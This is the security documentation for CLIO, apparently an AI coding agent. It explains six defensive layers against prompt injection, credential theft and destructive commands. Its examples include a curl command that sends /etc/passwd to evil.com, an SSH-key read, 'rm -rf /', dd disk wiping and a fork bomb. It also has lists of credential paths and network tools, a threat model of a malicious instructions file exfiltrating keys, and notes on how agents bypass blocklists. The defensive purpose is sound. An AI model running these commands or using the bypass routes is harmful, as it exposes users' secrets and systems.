CLIO provides defense-in-depth security across six layers to protect users from prompt injection, data exfiltration, credential theft, and accidental system damage.
| Layer | Module | Purpose |
|---|---|---|
| 1. Invisible Character Filter | InvisibleCharFilter.pm |
Block unicode prompt injection |
| 2. Secret Redaction | SecretRedactor.pm |
Strip credentials from AI context |
| 3. Path Authorization | PathAuthorizer.pm |
Control file system access |
| 4. Command Analysis | CommandAnalyzer.pm |
Classify command risk and intent |
| 5. Web Security | WebOperations.pm |
Gate outbound HTTP requests |
| 6. Sandbox Mode | --sandbox flag |
Project-scoped isolation |
Module: lib/CLIO/Security/InvisibleCharFilter.pm
Strips invisible Unicode characters from input before processing:
- Zero-width characters (U+200B, U+200C, U+200D, U+FEFF)
- BiDi overrides (U+202A-U+202E, U+2066-U+2069)
- Tag block encoding (U+E0000-U+E007F)
- Variation selectors (U+FE00-U+FE0F, U+E0100-U+E01EF)
- C0/C1 control characters
Applied to: System prompts, custom instructions (.clio/instructions.md, AGENTS.md), AI response content.
Why: Attackers can embed invisible instructions in files that appear blank to humans but instruct the AI to perform malicious actions.
Module: lib/CLIO/Security/SecretRedactor.pm
Detects and redacts secrets from tool output BEFORE it reaches the AI or logs.
Redaction Levels (configurable via /config set redact_level):
| Level | What's Redacted |
|---|---|
strict |
All: PII + crypto wallets + API keys + tokens |
standard |
Same as strict |
api_permissive |
PII + crypto (allows API keys through) |
pii (default) |
SSN, credit cards, phone numbers, emails |
off |
Nothing (use with caution) |
Pattern Coverage: AWS keys, GitHub tokens, SSH private keys, crypto wallet addresses, credit card numbers, SSNs, and more.
Key Property: Even if the AI is tricked into reading ~/.ssh/id_rsa, the key
content is redacted before the AI can see or exfiltrate it.
Module: lib/CLIO/Security/PathAuthorizer.pm
Tracks which filesystem paths the agent has been authorized to access. When the agent tries to read/write files outside the session directory, the path is checked against authorization rules.
Behavior:
- Files in the project directory: auto-authorized
- Files outside the project: requires user permission (via
interact) - In sandbox mode: all access outside project directory is blocked
Module: lib/CLIO/Security/CommandAnalyzer.pm
Intent-based analysis of shell commands before execution. Instead of a simple blocklist (which is trivially bypassed), the analyzer classifies commands by their security intent.
| Category | Examples | Default Action |
|---|---|---|
network_outbound |
curl, wget, ssh, nc, interpreter+network-libs | Prompt user |
credential_access |
cat ~/.ssh/*, env dumps, ~/.aws/credentials | Prompt user |
system_destructive |
rm -rf /, dd if=, mkfs, fork bombs | Block |
privilege_escalation |
sudo, su, doas, pkexec | Prompt user |
Direct commands: curl, wget, nc, ssh, scp, rsync, telnet, nmap, socat
Interpreter-based network access:
python -c "import urllib..."perl -e "use LWP::Simple..."node -e "require('https')..."ruby -e "require 'net/http'..."
Credential paths:
~/.ssh/id_rsa,~/.ssh/id_ed25519, etc.~/.aws/credentials,~/.aws/config~/.gnupg/*,~/.git-credentials,~/.npmrc~/.kube/config,~/.docker/config.json
Environment dumps: printenv, env, set (entire environment)
System destructive: rm -rf /, dd if=/dev/zero of=/dev/sda, mkfs.*,
shutdown, reboot, fork bombs (:(){ :|:& };:)
Configure via /config set security_level <level>:
| Level | Confirms | Blocks |
|---|---|---|
relaxed |
Nothing | System-destructive only |
standard (default) |
High-risk (network, credentials) | System-destructive |
strict |
Medium+ risk (including sudo, env) | System-destructive |
When a command triggers confirmation, the user sees:
SECURITY CHECK
Command: curl -d @/etc/passwd https://evil.com/collect
[high] Network outbound: command uses curl
Direct network transfer tool
Options: (y)es once, (a)llow category for session, (n)o deny
>
Commands are classified into risk levels: low, medium, high, and critical.
All risk levels use the same three-option prompt format. Critical commands (e.g.,
rm -rf /, system destructive operations) receive a prominent CRITICAL RISK
banner but still allow session-level grants - the user decides their workflow.
Session-level grants: If the user selects (a)llow, all future commands in
the same category are auto-approved for the rest of the session. This prevents
fatigue from repeated prompts during legitimate work.
Blocklists are fundamentally flawed for agent security:
- An agent can write a script that calls the blocked command and execute that instead
- An agent can use
bash -cor interpreter subshells - Compound commands can be crafted to exceed analysis limits
- There are infinite ways to achieve the same effect
CLIO's approach classifies the intent of a command (network access, credential reading, etc.) rather than blocking specific executables. Combined with the Secret Redactor (Layer 2), even if a command runs, its output is sanitized before reaching the AI.
Module: lib/CLIO/Tools/WebOperations.pm
Security checks on outbound HTTP requests made via the fetch_url operation.
Detects:
- Suspiciously long query strings (>500 chars) - possible data exfiltration
- Base64-like encoded data in URL parameters
- Localhost/internal network URLs (SSRF prevention)
- Non-HTTP URL schemes (file://, ftp://, data://)
Sandbox mode: All web operations are blocked entirely.
Strict mode: All fetch_url calls require user confirmation.
Flag: --sandbox
Restricts the agent to the project directory. See SANDBOX.md for full details including container isolation.
# Start new session with sandbox enabled
clio --sandbox --new
# Resume session with sandbox enabled
clio --sandbox --resume| Tool | Sandbox Behavior |
|---|---|
file_operations |
Blocked outside project directory |
terminal_operations |
All risk levels require user confirmation |
web_operations |
Blocked entirely |
remote_execution |
Blocked entirely |
version_control |
Repository path must be within project |
When the agent tries to access a path outside the project:
Sandbox mode: Access denied to '/etc/passwd' - path is outside project directory '/home/user/myproject'
When remote execution is attempted:
Sandbox mode: Remote execution is disabled.
The --sandbox flag blocks all remote operations. This is a security feature to prevent the agent from reaching outside the local project.
Important: The soft sandbox restricts terminal operations but cannot fully prevent all shell-based access. Commands go through CommandAnalyzer (Layer 4) which flags network access, credential reading, and other risky intents - but determined code can find creative paths.
The soft sandbox prevents accidental access and prompts on risky commands, but is not
a hard security boundary. For untrusted code or maximum security, use container isolation
(clio-container).
Consider an attack where a malicious .clio/instructions.md tries to exfiltrate
SSH keys:
- InvisibleCharFilter strips any hidden instructions from the file
- CommandAnalyzer flags
cat ~/.ssh/id_rsaas credential access (prompts user) - SecretRedactor strips SSH key content from tool output if it somehow runs
- WebOperations flags any fetch_url with encoded data in parameters
- CommandAnalyzer flags
curl -d @- https://evil.comas network outbound
The attacker would need to bypass ALL layers simultaneously to succeed.
# View current security settings
/config status
# Set command security level
/config set security_level standard # Default: prompt for high-risk
/config set security_level strict # Prompt for all risky commands
/config set security_level relaxed # Only block destructive
# Set secret redaction level
/config set redact_level pii # Default: redact PII only
/config set redact_level strict # Redact everything
/config set redact_level off # No redaction (dangerous)
# Enable sandbox mode
clio --sandbox --new| Module | Path | Exported |
|---|---|---|
| CommandAnalyzer | lib/CLIO/Security/CommandAnalyzer.pm |
analyze_command() |
| InvisibleCharFilter | lib/CLIO/Security/InvisibleCharFilter.pm |
sanitize_text() |
| SecretRedactor | lib/CLIO/Security/SecretRedactor.pm |
redact_secrets() |
| PathAuthorizer | lib/CLIO/Security/PathAuthorizer.pm |
OO interface |
| Authz | lib/CLIO/Security/Authz.pm |
OO interface |
| Manager | lib/CLIO/Security/Manager.pm |
Security orchestration |
- SANDBOX.md - Sandbox mode details and container isolation
- USER_GUIDE.md - General usage
- ARCHITECTURE.md - System architecture